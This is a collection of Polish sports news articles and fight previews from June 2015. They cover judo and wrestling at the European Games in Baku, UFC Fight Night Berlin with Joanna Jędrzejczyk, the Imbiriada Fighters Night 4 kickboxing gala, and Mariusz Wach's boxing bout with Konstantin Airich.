Dobrą formę w tym sezonie prezentowała Agata Perenc, jednak w Baku nie udało jej się sprawić niespodzianki. Zawodniczka Polonii Rybnik opadła w 1/8 finału. W 1/16 Polka rywalizująca w kategorii 52kg pokonała Darię Skrypnik. Białorusinka musiała uznać wyższość Perenc, która zdominowała ją i była zdecydowanie lepsza. Polka wygrała przez ippon i to był jedyny powód do radości, bo później przyszła gorzka pigułka. Perenc musiała ją przełknąć. Marzenia o medalu prysły za sprawą Natalii Kuziutiny. Rosjanka to trzecia zawodniczka świata i wicemistrzyni Europy. W Baku Kuziutina okazała się lepsza od Perenc, ale trudno powiedzieć, że wygrała zdecydowanie. Żal Polki jest zrozumiały, bo przegrała jedną karą shido. Ewa Konieczny rywalizująca w kategorii 48kg również odpadła w 1/8 finału, jednak stoczyła tylko jedną walkę. W pierwszej rundzie miała wolny los, a następnie trafiła na Dilarę Lokmanhekim. Turczynka wygrała przez yuko. Na reprezentancie Niemiec swój udział w Igrzyskach Europejskich zakończył Łukasz Kiełbasiński. Zawodnik z Warszawy w 1/8 finału przegrał przez ippon z Tobiasem Englmaierem. Polak wygrał w Baku jeden pojedynek. W 1/16 wyższość Kiełbasińskiego musiał uznać Tom Schmit z Luksemburga.

Pierwszy kosowski medal

Kosowo to państwo, które długo walczyło o własną niepodległość. Teraz zawodnicy z tego kraju mogą na najważniejszych imprezach startować pod flagą swojego kraju. Pierwszą medalistą reprezentującą Kosowo, która sięgnęła po medal mistrzostw Europy w judo, a zarazem Igrzysk Europejskich jest Nora Gjakova. 22-latka walcząca w kategorii 57kg sięgnęła po brąz, a w decydującym pojedynku pokonała Sanne Verhagen.

KM

Meksykanin zapowiada powrót

Bez wątpienia Juan Manuel Marquez jest wybitnym bokserem. Kontuzja sprawiła, że musiał odpocząć od pięściarstwa, jednak Meksykanin nie poddaje się i ma nadzieję na powrót na ring.

Marquez już ponad rok odpoczywa od boksu. Czas ten wykorzystuje efektywnie i robi wszystko, aby dojść do pełni sprawności. Doświadczony Meksykanin nadal ma problemy z kolanem, jednak z każdym dniem stan nogi poprawia się. Nadal konieczna jest rehabilitacja, aby Marquez wrócił do pełnej sprawności. 41-letni pięściarz stopniowo wraca do treningów i pojawia się na sali, aby przygotowywać się do powrotu na ring. Kiedy on nastąpi? Marquez nie wyklucza, że kolejną walkę stoczy już jesienią. To optymistyczny scenariusz, jednak możliwy. Kwestią podstawową jest to w jakim stanie będzie kolano Marqueza. Wątpliwe, aby bokser zdecydował się na ryzyko. Wiadomo, że nie jest już najmłodszy i przedwczesny powrót może być fatalny w skutkach.

Marquez ujawnia, że jest głodny. Głodny walki. To w pełni zrozumiałe, jeżeli bierzemy pod uwagę przypadek pięściarza, który stawia przed sobą kolejny cel. Marquez chce zdobyć mistrzowski pas w piątej kategorii wagowej. Do tej pory zdominował wagę junior półśrednią, gdzie był czempionem WBO. W kategorii lekkiej wywalczył pasy WBO i WBA, a w piórkowej WBA i IBF. Meksykanin był również posiadaczem tytułu mistrzowskiego WBC w wadze junior lekkiej. Marquez chce zaatakować kolejną kategorię. Tym razem półśrednią.

Pięściarz otwarcie mówi o swoich planach. – Mój lekarz nie widzi konieczności operacji. Twierdzi, że doprowadzenie do sprawności mojego kolana to kwestia rehabilitacji i ćwiczeń. Za maksymalnie dwa miesiące będę mógł określić stan swojej nogi. Jestem głodny walki. Moim celem jest tytuł w piątej kategorii wagowej. Najpierw muszę się w pełni wyleczyć, żeby znaleźć sobie rywala. Planuję wrócić na ring w październiku lub listopadzie – opisuje swoje plany meksykański pięściarz.

Marquez na zawodowym ringu zaprezentował się ponad sześćdziesiąt razy. Aż czterdzieści zwycięskich pojedynków zakończył przed czasem, łącznie wygrał pięćdziesiąt sześć walk. Zanotował jeden remis w rywalizacji z Manny Pacquiao. Właśnie z Filipińczykiem stoczył pasjonującą sagę. Marquez i Pacquiao rywalizowali aż cztery razy, ale tylko raz triumfował Meksykanin. Pięściarze swoje spotkania rozpoczęli od remisu, dwa kolejne pojedynki rozstrzygnęły się na korzyść Pacquiao, jednak wygrywał on na punkty. Podczas ostatniego pojedynku w szóstej rundzie wygrał Marquez. Wydawało się, że nastąpił pewien przełom, przekroczenie bariery, jednak po wygranej z Pacquiao Meksykanin stoczył tylko dwie walki. W październiku 2013 roku przegrał na punkty z Timothy Bradleyem, a kilka miesięcy później Mike Alvarado musiał uznać wyższość Marqueza. Czy Meksykanin dojdzie do pełni formy i jego powrót na ring będzie możliwy już jesienią? Istotna jest również refleksja na temat możliwości Marqueza po ponad rocznej przerwie. Powinien stopniowo wracać na ring, a walka o mistrzostwo świata to melodia przyszłości. Ale czy Marquez ma czas? Wiek robi swoje.

KM

Demolka w wykonaniu mistrzyni

Jessica Penne ani przez chwilę nie zagroziła Joannie Jędrzejczyk. Polka podczas gali UFC Fight Night 69 w Berlinie pewnie obroniła mistrzowski pas w wadze słomkowej.

Jędrzejczyk w swojej czwartej walce dla najlepszej organizacji mieszanych sztuk walki na świecie pokazała swoją nietuzinkowość i wyjątkowość. 27-latka wprawiła publiczność w zachwyt. Polka nie dała najmniejszych szans Penne, która żywiła nadzieję, że uda jej się zdobyć mistrzowski pas.

Mistrzyni jest tylko jedna

W odniesieniu do polskiej sceny muzycznej dawno, dawno temu ukłuło się stwierdzenie na temat królowej. Po berlińskim występie należy zauważyć, że w polskim MMA mistrzyni jest tylko jedna. Jędrzejczyk znajduje się w najlepszym okresie swojej kariery, osiągnęła najwyższych poziom i dzierży w swoich dłoniach mistrzowski pas UFC. Carla Esparza jako pierwsza dotkliwie odczuła siłę ciosów Polki. Amerykanka musiała uznać wyższość Jędrzejczyk i patrzeć jak mistrzowski pas wędruje w ręce 27-latki w Olsztyna. W Berlinie smakiem obeszła się Jessica Penne.

Jędrzejczyk prowadziła walkę w stójce, co nie odpowiadało Amerykance. Penne chciała za wszelką cenę sprowadzić Polkę do parteru, jednak ta skutecznie broniła się. Pierwszą rundę rywalka naszej mistrzyni przetrwała, jednak w drugiej Jędrzejczyk nie miała już dla niej litości. Mocny front kick Polki zranił nos Penne. Jędrzejczyk sprawiła, że rywalka znalazła się w opałach. Bogaty repertuar zagrań Polki – liczne ciosy, łokcie, kopnięcia – potwierdzał jej wysoką klasę i z każdą minutą przewaga mistrzyni UFC rosła. Penne przetrwała drugą rundę, ale wyglądała coraz gorzej. Jędrzejczyk rozbiła twarz swojej rywalki. Nad losem Amerykanki pochylił się sędzia, która na trzydzieści osiem sekund przed końcem zdecydował się przerwać pojedynek.

Dominacja Jędrzejczyk nie podlegała dyskusji ani przez chwilę. Przewaga Polki była widoczna w ciosach – nasza zawodniczka wyprowadziła sto dwadzieścia sześć silnych uderzeń rękoma i nogami. Penne zrewanżowała się tylko dwudziestoma pięcioma ciosami. Aktywność Jędrzejczyk pozwoliła jej po raz kolejny wznieść ręce w geście triumfu. Polka zachwyciła szybkością, sprawnością oraz celnością. Jędrzejczyk coraz śmielej przebija się w rankingach popularności. W Berlinie wzbogaciła się o kolejne pięćdziesiąt tysięcy dolarów za walkę wieczoru.

Nieudany debiut

Łukasz Sajewski stoczył w UFC pierwszą walkę, jednak nie będzie jej miło wspominał. Polski fighter wytrzymał trzy rundy w rywalizacji z Nickiem Heinem, jednak werdykt sędziowski był korzystny dla Niemca. Sajewski jedynie w pierwszej rundzie zagroził swojemu rywalowi, a później zgasł. Hein zdecydowanie przeważał i odniósł zwycięstwo.

Po dziewięciomiesięcznej przerwie do oktagonu powrócił Piotr Hallmann. Polak stanął przed trudnym zadaniem, gdyż jego rywalem był Magomed Mustafajew. Rosjanin debiutował w UFC, jednak imponował podczas występów dla organizacji M-1 Challenge. W pierwszej rundzie polski fighter dwukrotnie zdobył pozycję przeważającą w parterze i obijał Mustafajewa. Wydawało się, że wszystko jest pod kontrolą Hallmanna, jednak w drugiej rundzie nastąpił zwrot akcji. Polak uwolnił się z klinczu, ale doznał rozcięcia łuku brwiowego. Lekarz zdecydował, że Hallmann nie może kontynuować walki. Powrót Polaka miał być efektowniejszy, ale fighter z Trójmiasta pokazała, że ma potencjał, aby nadal walczyć w UFC.

KM

Kosowski zastopował Turka

Gala Imbiriada Fighters Night 4 była doskonałą okazją, aby przekonać się o możliwościach Dawida Kasperskiego i Wojciecha Kosowskiego. Obaj udowodnili swoją wartość podczas imprezy w Ożarowie Mazowieckim.

Popularność kickboxingu stale rośnie. W Ożarowie Mazowieckim odbyła się kameralna, stonowana i ciekawa gala. W karcie walk znalazły się nazwiska zawodników gwarantujących odpowiedni poziom sportowy. Kasperski i Kosowski pokazali, że mają ogromny potencjał. Dobry poziom organizacyjny gali, która przebiegała sprawnie i bez problemów. Czas między walkami widzom zgromadzonym w MCC Mazurkas Conference Centre & Hotel wypełniały pokazy aikido.

W pierwszej walce gali Imbiriada Fighters Night 4 spotkali się Hubert Ulikowski i Krzysztof Kucharczyk. Zawodnik z Ostrowca wyprowadził więcej celnych ciosów i wygrał. Kucharczyk w trzeciej rundzie starał się odrobić straty, jednak Ulikowski skutecznie się bronił. Mateusz Rycerski niedawno wrócił do aktywnego uprawiania kickboxingu po trzyletniej przerwie spowodowanej kontuzją kolana. W Ożarowie spotkał się z Damianem Świerczyńskim. Od początku inicjatywę miał Rycerski, który niskimi kopnięciami starał się osłabić rywala. Świerczyński szukał swojej szansy, jednak nie potrafił celnie trafić swojego przeciwnika. Po jednym z kopnięć na jego twarzy pojawił się grymas bólu i sędzia musiał przerwać walkę. Świerczyński dokończył pierwszą rundę, ale do drugiej już nie wyszedł. Jarosław Zawodni wziął rewanż na Patryku Proszku. W marcu podczas mistrzostw Polski w low kick lepszy okazał się fighter z Zielonej Góry. W Ożarowie Proszek był zbyt wolny, aby zagrozić dobrze dysponowanemu przeciwnikowi. Zawodni raz za razem słał kolejne ciosy w stronę rywala i zdecydowanie wygrał na punkty. Doświadczony Przemysław Ziemnicki nie sprostał o siedemnaście lat młodszemu Arkadiuszowi Kaszubie. W większości walka była prowadzona w dystansie. Kaszuba zadał kilka celnych ciosów rywalowi, z kolei Ziemnicki nie potrafił znaleźć sposoby na swojego oponenta.

W kategorii 56kg wystąpiła Iwona Nieroda. Polka rywalizowała z mającą za sobą występy w boksie Ukrainką Oksaną Romanovą. Nieroda nie miała łatwego zadania, gdyż trudno było jej się przygotować do pojedynku ze względu na fakt, że nie mogła znaleźć materiałów o swojej rywalce. Mimo to poradziła sobie z Ukrainką. Początek pojedynku niczym pierwsze minuty wizyty u lekarza – rozpoznanie, jednak z czasem niskie kopnięcia Nierody pokazały, kto będzie rozdawał karty. Romanova była opanowana i czekała na swoją szansę, a szybka Polka starała się raz za razem trafić rywalkę. Nieroda bez problemu wygrała na punkty. Zwyciężył również Michał Turyński, który pokonał Słowaka Radovana Kullę. Polak zneutralizował atuty wysokiego Słowaka. Wielki jak dąb Kulla nie potrafił zagrozić Turyńskiemu, który zmusił rywala do cofania się. Słowak nie potrafił odnaleźć się, był zagubiony i przegrał.

Pewny siebie Dawid Kasperski zrealizował plan. Tudor Turcan starał się, ale był bezsilny wobec ciosów i kopnięć Polaka. W drugiej rundzie Kasperski poważnie obił  swojego rywala. Turcan osunął się na deski i już nie podniósł się. O pas międzynarodowego zawodowego mistrza Polski w kategorii 75kg rywalizował Wojciech Kosowski. Rywalem Polaka był Turek Mucahit Kulat. Zawodnik znad Morza Czarnego wszedł do ringu i nie przestraszył się Kosowskiego. Polak odczuł kopnięcia Kulata, który aktywnie poruszał się i szukał szansy, aby zaskoczyć swojego rywala. Kosowski nie pozostawał bierny i atakował. Zawodnik warszawskiej Palestry starał się zaatakować Turka kolanem, jednak ten stawiał skuteczny opór. W drugiej rundzie Kosowski podkreślił tempo, a Kulat opadł z sił. Jedno z kopnięć na biodro spowodowało grymas bólu na twarzy Turka, którego sędzia wyliczył. Kosowski po raz kolejny pokazał wysokie umiejętności i dostarczył publiczności wielu wrażeń na najwyższym poziomie.

KM

Wach wygrywa i rusza do Londynu

Gala BudWeld Boxing Night w Ostrowcu Świętokrzyskim miała efektowne zakończenie. W walce wieczoru Mariusz Wach znokautował Konstantina Airicha.

„Viking” zrobił to, co do niego należało. Wygrał pewnie, wykorzystał swoje atuty i wreszcie wykonał krok do przodu. Od początku pojedynku Mariusz Wach trzymał rywala w dystansie. Polak wykorzystywał swoje warunki fizyczne – zasięg ramion i wzrost. Tempo walki nie powalało, gdyż obaj pięściarze spokojnie starali się przygotowywać kolejne ataki. W drugiej rundzie w końcu doszło do wymiany i w końcówce Wach trafił kilkoma mocnymi ciosami. Airich w trzeciej odsłonie po raz pierwszy zachwiał się na nogach. Polski bokser wagi ciężkiej wyprowadził kilka ciosów na głowę i tułów rywala, które zrobiły wrażenie na pięściarzu z Niemiec. Airich miał problemy kondycyjne, co nadto widoczne było w czwartej rundzie. Często wypluwał ochraniacz i łapał powietrze. Wach był konsekwentny w swoim działaniu, a zarazem czytelny, jednak rywal nie był w stanie odpowiedzieć Polakowi. Airich słabł i wydawało się, że lada chwila „Viking” powinien dokończyć dzieła. W szóstej rundzie Airich prosił swój narożnik o zakończenie pojedynku. Trenerzy zlitowali się i rzucili ręcznik.

Mariusz Wach trafił na przeciwnika, który kondycyjnie nie był przygotowany do pojedynku. Polak miał za zadanie wygrać i zrealizował plan. Teraz ma stanąć przed trudnym wyzwaniem. Prawdopodobnie Wach we wrześniu w Londynie zmierzy się z Anthony’m Joshuą. Młody pięściarz jest nadzieją brytyjskiego boksu, do tej pory stoczył trzynaście zwycięskich pojedynków. W ostatnim czasie pokonał Kevina Johnsona. Dla Wacha to ogromna szansa na powrót do światowej czołówki. Tyle, że „Viking” do rywalizacji z Joshuą musi się przygotować na każdym polu. Anglik jest młodszy, szybszy, sprawniejszy i ma paraliżujący cios. Gdyby do pojedynku doszło, byłoby to jedno z najtrudniejszych wyzwań w karierze polskiego pięściarza.

Mariusz Wach zanotował czwarte zwycięstwo po powrocie na ring. Polak odprawił Samira Kurtagicia, Travisa Walkera oraz Gbengę Oluokuna. Na zawodowym ringu „Viking” zanotował trzydzieści jeden zwycięstw i poniósł jedną porażkę. Czas na roztrenowanie już minął. Wszystko wskazuje na to, że jesienią Wach stoczy poważny pojedynek, który pozwoli zweryfikować jego miejsce w wadze ciężkiej.

W Ostrowcu Świętokrzyskim pierwszą porażkę w karierze zanotował Robert Parzęczewski. Polak przegrał na punkty z Jessy’m Luxembourge z Francji. Tylko Wachowi udało się skończyć walkę przed czasem, reszta pojedynków kończyła się werdyktem sędziów. Pierwsze starcie w karierze zwycięstwem zakończył Mateusz Rzadkosz, który pokonał Dzianisa Makara. Damian Wrzesiński wyraźnie lepszy od Oscara Fiko (60-53, 60-52, 59-53). Szczęśliwa wygrana Michała Leśniaka w rywalizacji z Andreiem Staliarchukiem. Z kolei Michł Gerlecki zdominował Pablo Sosę i zanotował jedenaste zwycięstwo w karierze. Michał Żeromiński lepszy od Laszlo Fazekasa.

KM

Jędrzejczyk gotowa do boju

Polska mistrzyni UFC wagi słomkowej po raz pierwszy w karierze będzie broniła mistrzowskiego pasa. Joanna Jędrzejczyk podczas UFC Fight Night w Berlinie zmierzy się z Jessicą Penne.

Polka przebojem wdarła się do najlepszej organizacji mieszanych sztuk walki na świecie i zrobiła furorę. W trzeciej walce w UFC rywalizowała o mistrzowski pas. Wcześniej dobre wrażenie pozostawiła po sobie w walce z Julianą de Lima Carneiro i zwłaszcza w starciu z Claudią Gadelhą. W pojedynku z mocną Brazylijką Polka udowodniła klasę i pokazała, że potrafi wyjść z opresji. Wydawało się, że Jędrzejczyk stoi na straconej pozycji, jednak postawiła trudne warunki, co sprawiło, że Gadelha musiała pogodzić się z porażką. Prawdziwy repertuar zagrań Polka pokazała w starciu z Carlą Esparzą. Jędrzejczyk walczyła o pas i od początku nie pozostawiła rywalce złudzeń, że za wszelką cenę chce, aby trafił on w jej ręce. Esparza musiała odpierać ataki polskiej fighterki. Jędrzejczyk zakończyła pojedynek w drugiej rundzie po serii ciosów, na które rywalka nie była w stanie odpowiedzieć. Czy Jessica Penne zatrzyma pochód 27-latki z Olsztyna?

Podczas ceremonii ważenia panie nie szczędziły sobie uprzejmości. Polka wręczyła Amerykance naszyjnik z makaronu penne, a ta zrewanżowała się Jędrzejczyk pierścieniem Golluma. 32-latka jest nastawiona bojowo. Nie przestraszyła się mistrzyni podczas ceremonii ważenia, okazała się pewna siebie, opanowana i żądna walki. Co pokaże w oktagonie? Penne ponad pięćdziesiąt procent swoich pojedynków kończy przez poddanie rywalek. Do tej pory w UFC stoczyła jedną walkę, w której uporała się z Randą Markos. Wcześniej rywalizowała na galach organizacji Invicta FC, kilka pojedynków stoczyła w Bellatorze. Penne ostatnią porażkę w swojej karierze zanotowała w kwietniu 2013 roku, kiedy uległa Michelle Waterson. Jędrzejczyk jeszcze nie przegrała podczas swoich występów w MMA.

Spojrzą sobie głęboko w oczy i ruszą do rywalizacji. Jędrzejczyk udowodniła, że stać ją na wiele i ma charakter, aby być mistrzynią. Penne jest zdeterminowana i gotowa na wymianę. Zapowiada się ciekawa walka, w której dominować może aktywność.

W Berlinie zaprezentują się dwaj Polacy. Piotr Hallmann wraca do UFC po dziewięciomiesięcznej dyskwalifikacji spowodowanej stosowaniem dopingu. Dla „Płetwala” będzie to piąty pojedynek dla najlepszej organizacji mieszanych sztuk walki na świecie. Do tej pory dwa pojedynki wygrał, dwa przegrał. Jego rywalem w Berlinie będzie Magomed Mustafaev. Dla Rosjanina będzie to debiut w UFC. 26-latek jest twardym fighterem, jak przystało na zawodników ze Wschodu. Pierwszą walkę w UFC stoczy również Łukasz Sajewski. 24-latek w swojej karierze nie zanotował jeszcze porażki i zanotował trzynaście zwycięstw. W maju ubiegłego roku odprawił Igora Egorova.  Rywalem Polaka będzie doświadczony Niemiec Nick Hein, który w UFC debiutował rok temu. W pierwszej walce okazał się lepszy od Drew Dobora, a w kolejnym występie musiał uznać wyższość Jamesa Vicka.

KM

Miód będzie się lał

Czy będzie tak słodko? Wszystko na to wskazuje. Gala kickboxingu zawodowego K-1 Rules Imbiriada Fighters Night 4 w Ożarowie Mazowieckim zapowiada się niezwykle interesująco.

Miejscem rywalizacji będzie MCC Mazurkas Conference Centre & Hotel. Zjawi się tam śmietanka polskiego kickboxingu – fighterzy o ugruntowanej pozycji i Ci, którzy wdrapują się na szczyt. Nie zabraknie zawodników z Bałkanów, Turcji, Słowacji i Ukrainy. Organizator liczy, że po raz kolejny gala spełni pokładane w niej nadzieje. Podczas lutowej imprezy, która była połączona z obchodami 25-lecia PZKb nie zabrakło interesujących i pełnych zwrotów akcji walk.

W walce wieczoru wystąpi Wojciech Kosowski, który mimo upływu lat nadal jest czołową postacią polskiego kickboxingu. Zawodnik Palestry Warszawa nie ustaje w doskonaleniu swoich umiejętności i na kolejnych imprezach odgrywa rolę gwiazdy. Podczas gali Imbiriada Fighters Night 3 Polak szybko uporał się z Milanem Kovacem. Kosowski już w pierwszej rundzie odesłał rywala do domu. Czy tym razem będzie podobnie? W Ożarowie naprzeciw Polaka stanie mocny i wymagający Mucahit Kulak. Początkowo zawodnik Palestry miał rywalizować z Ademem Bozkurtem. Stawką pojedynku będzie tytuł międzynarodowego mistrza Polski w kategorii 75kg.

W Ożarowie zaprezentuje się utalentowana Iwona Nieroda. Polka walcząca w kategorii 56kg stawia kolejne kroki w zawodowej karierze. Do tej pory stoczyła pięć walk i wszystkie zakończyły się jej triumfem. W tym roku na gali Battle of Warriors Extra 2 w Budzowie Nieroda na punkty wygrała z Petrą Castovą. W Rimini po raz drugi  w karierze zdobyła Puchar Świata (wcześniej w 2013 roku w Szeged). Nieroda ma na swoim koncie wiele sukcesów, a w ostatnich latach ustawicznie zwiększa swoją kolekcję. W 2013 roku w Warnie Polka wywalczyła tytuł mistrzyni świata WAKO Pro w low kick. Wyczyn ten powtórzyła rok później w Turcji. W Ożarowie stanie naprzeciw Oksany Romanowej z Ukrainy. 37-latka wywodzi się z boksu, a teraz rozwija swoje umiejętności w kickboxingu. Romanowa jest zawodniczką twardą i niezwykle wytrzymałą. Swego czasu potrafiła spędzić w ringu dziesięć rund.  Zapowiada się wyrównana walka.

W wadze ciężkiej zaprezentuje się Michał Turyński. Polak w zawodowej karierze stoczył dwadzieścia trzy pojedynki, z których szesnaście zakończyło się jego zwycięstwem. Przeciwnikiem Turyńskiego będzie 21-letni Słowak Radovan Kulla. Polak musi przygotować się na ciężki pojedynek. Mistrz Słowacji na poprzedniej gali Imbiriada Fighters Night uporał się z Patrykiem Proszkiem. Ożarowskiej publiczności zaprezentuje się Dawid Kasperski, który będzie walczył o pas zawodowego mistrza Polski w kategorii 86kg. Podczas swojego ostatnie występu na gali w Tallinie Polak przegrał z Maximem Vorovskim.

W Ożarowie wystąpią również: Patryk Proszek, Mateusz Rycerski, Damian Świerczyński, Arkadiusz Kaszuba i Artur Stańczak. Zatem w Ożarowie Mazowieckim zapowiada się ciekawy wieczór. 20 czerwca w ringu pojawią się mocne nazwiska, których celem będzie stworzenie prawdziwego show. Organizator liczy, że gala na stałe zagości w gronie najciekawszych wydarzeń w polskim kickboxingu.

KM

Krok od złota

Magomedmurad Gadżijew zaliczył bardzo dobry występ podczas I Igrzysk Europejskich w Baku. Pochodzący z Dagestanu zapaśnik w kategorii 70kg sięgnął po srebrny medal.

Reprezentant Polski udział w Igrzyskach Europejskich rozpoczął od kwalifikacji. Gadżijew poradził sobie z trudnymi warunkami i wysiłkiem związanym z rywalizacją. Zapaśnik dotarł aż do finału, jednak złota nie wywalczył.

Ta pierwsza runda

Pierwszym rywalem Gadżijewa był Miroslav Kirow, który nie sprawił reprezentantowi Polski większych problemów. Bułgar musiał pogodzić się z porażką 0:5. Zapowiadało się, że w 1/8 finału będzie ciężko, bo Polak trafił na reprezentanta gospodarzy. Rusłan Dibirgadżijew liczył na wygraną, ale się przeliczył. Doping publiczności nie pomógł reprezentantowi gospodarzy, a Gadżijew pokazał, że jest w dobrej dyspozycji i zwyciężył 7:2.

Przez ćwierćfinał reprezentant Polski przeszedł jak burza, a w półfinale pokazał prawdziwą klasę. Zsombor Gulyas nie miał najmniejszych szans w starciu z zapaśnikiem z Białogardu. Dawit Tlaszadzem był ostatnią przeszkodą na drodze Gadżijewa do finału. Pochodzący z Dagestanu zapaśnik wiedział, że jest w strefie medalowej, ale mierzył w złoto. Gruzin padł jego ofiarą już w pierwszej rundzie. Gadżijew rozbił swojego rywala 10:0 i czekał na finał. Wszystko wskazywało na to, że reprezentanta Polski stać na złoto.

W finałowej walce Gadżijew spotkał Rosjanina Magomedrasula Gazimagomiedowa, który również pochodzi z Dagestanu. Reprezentant Polski nadawał ton rywalizacji w pierwszej rundzie i wydawało się, że jest na najlepszej drodze do zwycięstwa. W końcówce akcja Gadżijewa zakończyła się korzystanie dla jego rywala, gdyż sędziowie przyznali punkt Gazimagomiedowowi. Rosjanin wygrał pierwszą odsłonę 2:1. Gadżijew spuścił z tonu i w drugiej rundzie był ostrożny. Dopiero w końcówce reprezentant Polski zaczął atakować, ale było już zbyt późno. Rosjanin skutecznie się bronił i to na jego szyi zawisło złoto.

Brąz Marcinkiewicza

Nie tylko Gadżijew stanął w Baku na podium. Serce do walki pokazał Radosław Marcinkiewicz, który w kategorii 86kg sięgnął po brązowy medal.

Polak w decydującej walce stanął przed trudnym wyzwaniem. Rywalem Marcinkiewicza był Nurmaqomed Qadjiyev z Azerbejdżanu. Tym samym Polak, podobnie jak Gadżijew w 1/8 finału, walczył pod ogromną presją. Wiadomo, że ściany pomagają gospodarzom, a dodatkowo Qadjiyeva dopingowała żywiołowa publiczność. Mimo to Marcinkiewicz nie dał się wytrącić z równowagi.

Początek walki nie zapowiadał sukcesu. Polak był spięty i nie przejawiał ochoty do rywalizacji. Po pierwszej rundzie Marcinkiewicz przegrywał 0:3. Nasz zapaśnik był cierpliwy i czekał na właściwy moment do ataku. Upływały kolejne sekundy, a Polak nadal przegrywał. Brązowy medal oddalał się, ale w końcu Marcinkiewicz postanowił zaatakować. Precyzyjne sprowadzenie sprawiło, że Polak zdobył decydujące o zwycięstwie punkty. Marcinkiewicz wygrał 5:3 i mógł cieszyć się z trzeciego miejsca na podium podczas I Igrzysk Europejskich.

KM

Ivona Nieroda vs Oksana Romanowa podczas Imbiriada Fighters Night4

Jako jedynym pojedynkiem kobiet na Gali Kickboxingu Zawodowego K-1 Rules  IMBIRIADA FIGHTERS NIGHT 4, która odbędzie się już 20 czerwca 2015 r. w Ożarowie Mazowieckim w MCC Mazurkas Conference Centre & Hotel, będzie walka pomiędzy polską zawodniczką Iwoną Nierodą, a Ukrainką Oksaną Romanovą. Walka zapowiada się niezmiernie ciekawie. Obie zawodniczki są świetnie przygotowane i posiadają duże doświadczenie.

Iwona Nieroda to zawodowa Mistrzyni Świata WAKO PRO. Jest zawodniczką Diamentu Pstrągowa i podopieczną trenera Jerzego Pilarza. Trenuje od 2003 roku. Swoje starty rozpoczęła w 2005 roku. Iwona na swoim koncie 148 walk amatorskich we wszystkich formułach kickboxingu. Na koncie Iwony są amatorskie tytuły mistrzowskie, w tym amatorskie Mistrzostwo Juniorów z 2008 zdobyte w Neapolu/Włochy, amatorskie Mistrzostwo Świata Seniorów zdobyte w 2011 w Skopje/Macedonia oraz amatorskie Mistrzostwo Europy z 2012 zdobyte w Ankarze/Turcja. Iwona Nieroda zdobyła także dwa razy Puchar Świata. Pierwszy raz w 2013 roku w Szeged na Węgrzech, a drugi raz w 2015 w Rimini/Włochy. Zawodniczka zdobyła również pięć razy z rzędu (w latach 2010, 2011, 2012, 2013, 2014, 2015) tytuł Mistrzyni Polski w Kickboxingu Low Kick Seniorów, a także cztery razy z rzędu (w latach 2011, 2012, 2013, 2014) tytuł Mistrzyni Polski w Kickboxingu K-1 Rules.

Stoczyła zaledwie 5 walk zawodowych, ale wszystkie z nich wygrywała. Ostatni zawodowy pojedynek stoczyła 28 lutego na Gali Battle of Warriors Extra 2 w Budzowie. Na tej Gali przeciwniczką Iwony była reprezentantka Czech, Petra Castova. Sędziowie nie mieli wątpliwości, że zwycięstwo należy się Iwonie. Pas zawodowej Mistrzyni Świata WAKO PRO w Kickboxingu Low Kick Iwona zdobyła w 2013 w Warnie/Bułgaria. W 2014 roku obroniła tytuł mistrzowski w Eskisehir/Turcja. Na Gali FIGHTERS NIGHT 2 Iwona wywalczyła pas Międzynarodowej Mistrzyni Polski w formule Low-Kick w kategorii do 56 kg. Przeciwniczką Iwony była Słowaczka Vladimira Smelkova. Po serii bardzo mocnych kopnięć Iwony Słowaczka, doznała kontuzji nogi i w III rundzie sędzia postanowił zakończyć walkę.

Na gali w Ożarowie Mazowieckim przeciwniczką Iwony będzie 37 letnia Oksana Romanova z Ukrainy, ksywa: Amazon, walcząca zawodowo od 2001 roku. Zawodniczka ukraińska wywodzi się z boksu. Według jego zasad stoczyła 24 walki zawodowe. Jest niezmiernie wytrzymałą zawodniczką. Ma na swoim koncie walki, w których wytrzymywała aż 10 rund. Może to świadczyć o dużej wytrzymałości, zawziętości i ogromnej chęci walki ukraińskiej zawodniczki. Cechy te sprawiają, że będzie bardzo trudna przeciwniczką dla Iwony Nierody.

""

Ostatni raz na zawodowym ringu bokserskim wystąpiła w grudniu 2012 roku. Oksana jest mistrzynią Ukrainy w Kickboxingu Full Kontakt (1995 – 2004 r.). W 1999 roku została Mistrzynią Świata w Kickboxingu Low Kick. 2004 rok przynosi tytuł Mistrzyni Świata. Kolejne osiągnięcie to tytuł Mistrzyni Miasta Kijowa 2011 roku w Kickboxingu K-1. W bieżącym roku wygrała Międzynarodowy Turniej Konsula Tajlandii na Ukrainie w Muay Thai.

Obie, zarówno Iwona Nieroda, jak i Oksana Romanova, to doświadczone zawodniczki, które posiadają olbrzymi potencjał i chęć walki. Ich spotkanie na ringu zapowiada się niezmiernie ciekawie. Na pewno dostarczy ono wszystkim wiele emocji.

 

 

źródło: informacja prasowa

Kazach z Niemiec na drodze Wacha

Popularny „Viking” stoczy drugi pojedynek w tym roku.19 czerwca na gali BudWeld Boxing Night w Ostrowcu Świętokrzyskim Mariusz Wach zmierzy się Konstantinem Airichem.

Kazach reprezentujący Niemcy jest rok starszy od Polaka. Z pewnością najlepsze bokserskie lata ma już za sobą. W 2015 roku Airich jeszcze nie walczył, jednak do pojedynku z Wachem przystępuje po dwóch porażkach – z Anthony’m Joshuą i Denisem Bakhtovem. 37-letni pięściarz nie ma za sobą najlepszego czasu. W marcu 2012 roku okazał się lepszy od Ondreja Pali i od tamtego czasu notuje coraz to słabsze występy. Airich zaliczył cztery porażki, jednak należy zauważyć, że mierzył się z pięściarzami o wysokich umiejętnościach. Kazach z Niemiec musiał uznać wyższość Odlaniera Solisa, Wiaczesława Głazkova, Manuela Charra i Christiana Hammera. Dwa zwycięstwa nieco podniosły morale Airicha, który w 2014 roku odprawił Ergina Solmaza oraz Marcella Gottschalka. Pierwsza połowa ubiegłego roku była dobra w wykonaniu najbliższego rywala Mariusza Wacha, ale kolejne miesiące przyniosły kolejne porażki. Jak Airich zaprezentuje się w pierwszym tegorocznym starcie? Co ciekawe – w swojej karierze reprezentant Niemiec mierzył się z Gbengą Oluokunem, czyli pięściarzem, z którym ostatnio spotkał się Mariusz Wach. „Viking” po dziesięciu rundach zwyciężył na punkty. Z kolei Airich musiał uznać wyższość Oluokuna, który rywalizację zakończył w czwartej rundzie.

